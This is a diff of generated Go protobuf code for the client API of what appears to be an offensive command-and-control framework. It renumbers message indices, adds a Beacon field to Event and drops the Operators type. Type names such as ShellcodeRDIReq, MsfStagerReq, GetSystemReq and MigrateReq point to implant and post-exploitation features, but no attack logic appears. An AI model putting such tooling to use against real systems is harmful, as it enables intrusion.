(*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4684,7 +5206,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *TCPPivotReq) GetAddress() string { @@ -4714,7 +5236,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4727,7 +5249,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4740,7 +5262,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *TCPPivot) GetSuccess() bool { @@ -4776,7 +5298,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4789,7 +5311,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4802,7 +5324,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *Sessions) GetSessions() []*Session { @@ -4825,7 +5347,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4838,7 +5360,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4851,7 +5373,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *RenameReq) GetSessionID() string { @@ -4887,7 +5409,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4900,7 +5422,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4913,7 +5435,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -4948,7 +5470,7 @@ type GenerateStageReq struct { func (x *GenerateStageReq) Reset() { *x = GenerateStageReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4961,7 +5483,7 @@ func (x *GenerateStageReq) String() string { func (*GenerateStageReq) ProtoMessage() {} func (x *GenerateStageReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4974,7 +5496,7 @@ func (x *GenerateStageReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateStageReq.ProtoReflect.Descriptor instead. func (*GenerateStageReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *GenerateStageReq) GetProfile() string { @@ -5044,7 +5566,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5057,7 +5579,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5070,7 +5592,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *Generate) GetFile() *commonpb.File { @@ -5096,7 +5618,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5109,7 +5631,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5122,7 +5644,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *MSFReq) GetPayload() string { @@ -5184,7 +5706,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5197,7 +5719,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5210,7 +5732,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *MSFRemoteReq) GetPayload() string { @@ -5280,7 +5802,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5293,7 +5815,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5306,7 +5828,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -5376,7 +5898,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5389,7 +5911,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5402,7 +5924,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *StagerListener) GetJobID() uint32 { @@ -5425,7 +5947,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5438,7 +5960,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5451,7 +5973,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5486,7 +6008,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5499,7 +6021,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5512,7 +6034,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *ShellcodeRDI) GetData() []byte { @@ -5541,7 +6063,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5554,7 +6076,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5567,7 +6089,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *MsfStagerReq) GetArch() string { @@ -5644,7 +6166,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5657,7 +6179,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5670,7 +6192,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5697,7 +6219,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5710,7 +6232,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5723,7 +6245,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5772,7 +6294,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5785,7 +6307,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5798,7 +6320,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *MigrateReq) GetPid() uint32 { @@ -5848,7 +6370,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5861,7 +6383,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5874,7 +6396,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5896,7 +6418,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5909,7 +6431,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5922,7 +6444,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5951,7 +6473,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5964,7 +6486,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5977,7 +6499,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -6009,7 +6531,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6022,7 +6544,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6035,7 +6557,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -6077,7 +6599,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6090,7 +6612,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6103,7 +6625,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -6127,7 +6649,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6140,7 +6662,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6153,7 +6675,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Client) GetID() uint32 { @@ -6184,16 +6706,17 @@ type Event struct { EventType string `protobuf:"bytes,1,opt,name=EventType,proto3" json:"EventType,omitempty"` Session *Session `protobuf:"bytes,2,opt,name=Session,proto3" json:"Session,omitempty"` - Job *Job `protobuf:"bytes,3,opt,name=Job,proto3" json:"Job,omitempty"` - Client *Client `protobuf:"bytes,4,opt,name=Client,proto3" json:"Client,omitempty"` - Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"` - Err string `protobuf:"bytes,6,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error + Beacon *Beacon `protobuf:"bytes,3,opt,name=Beacon,proto3" json:"Beacon,omitempty"` + Job *Job `protobuf:"bytes,4,opt,name=Job,proto3" json:"Job,omitempty"` + Client *Client `protobuf:"bytes,5,opt,name=Client,proto3" json:"Client,omitempty"` + Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` + Err string `protobuf:"bytes,7,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error } func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6206,7 +6729,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6219,7 +6742,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *Event) GetEventType() string { @@ -6236,6 +6759,13 @@ func (x *Event) GetSession() *Session { return nil } +func (x *Event) GetBeacon() *Beacon { + if x != nil { + return x.Beacon + } + return nil +} + func (x *Event) GetJob() *Job { if x != nil { return x.Job @@ -6264,53 +6794,6 @@ func (x *Event) GetErr() string { return "" } -type Operators struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Operators []*Operator `protobuf:"bytes,1,rep,name=Operators,proto3" json:"Operators,omitempty"` -} - -func (x *Operators) Reset() { - *x = Operators{} - if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Operators) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Operators) ProtoMessage() {} - -func (x *Operators) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Operators.ProtoReflect.Descriptor instead. -func (*Operators) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} -} - -func (x *Operators) GetOperators() []*Operator { - if x != nil { - return x.Operators - } - return nil -} - type Operator struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -6323,7 +6806,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6336,7 +6819,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { 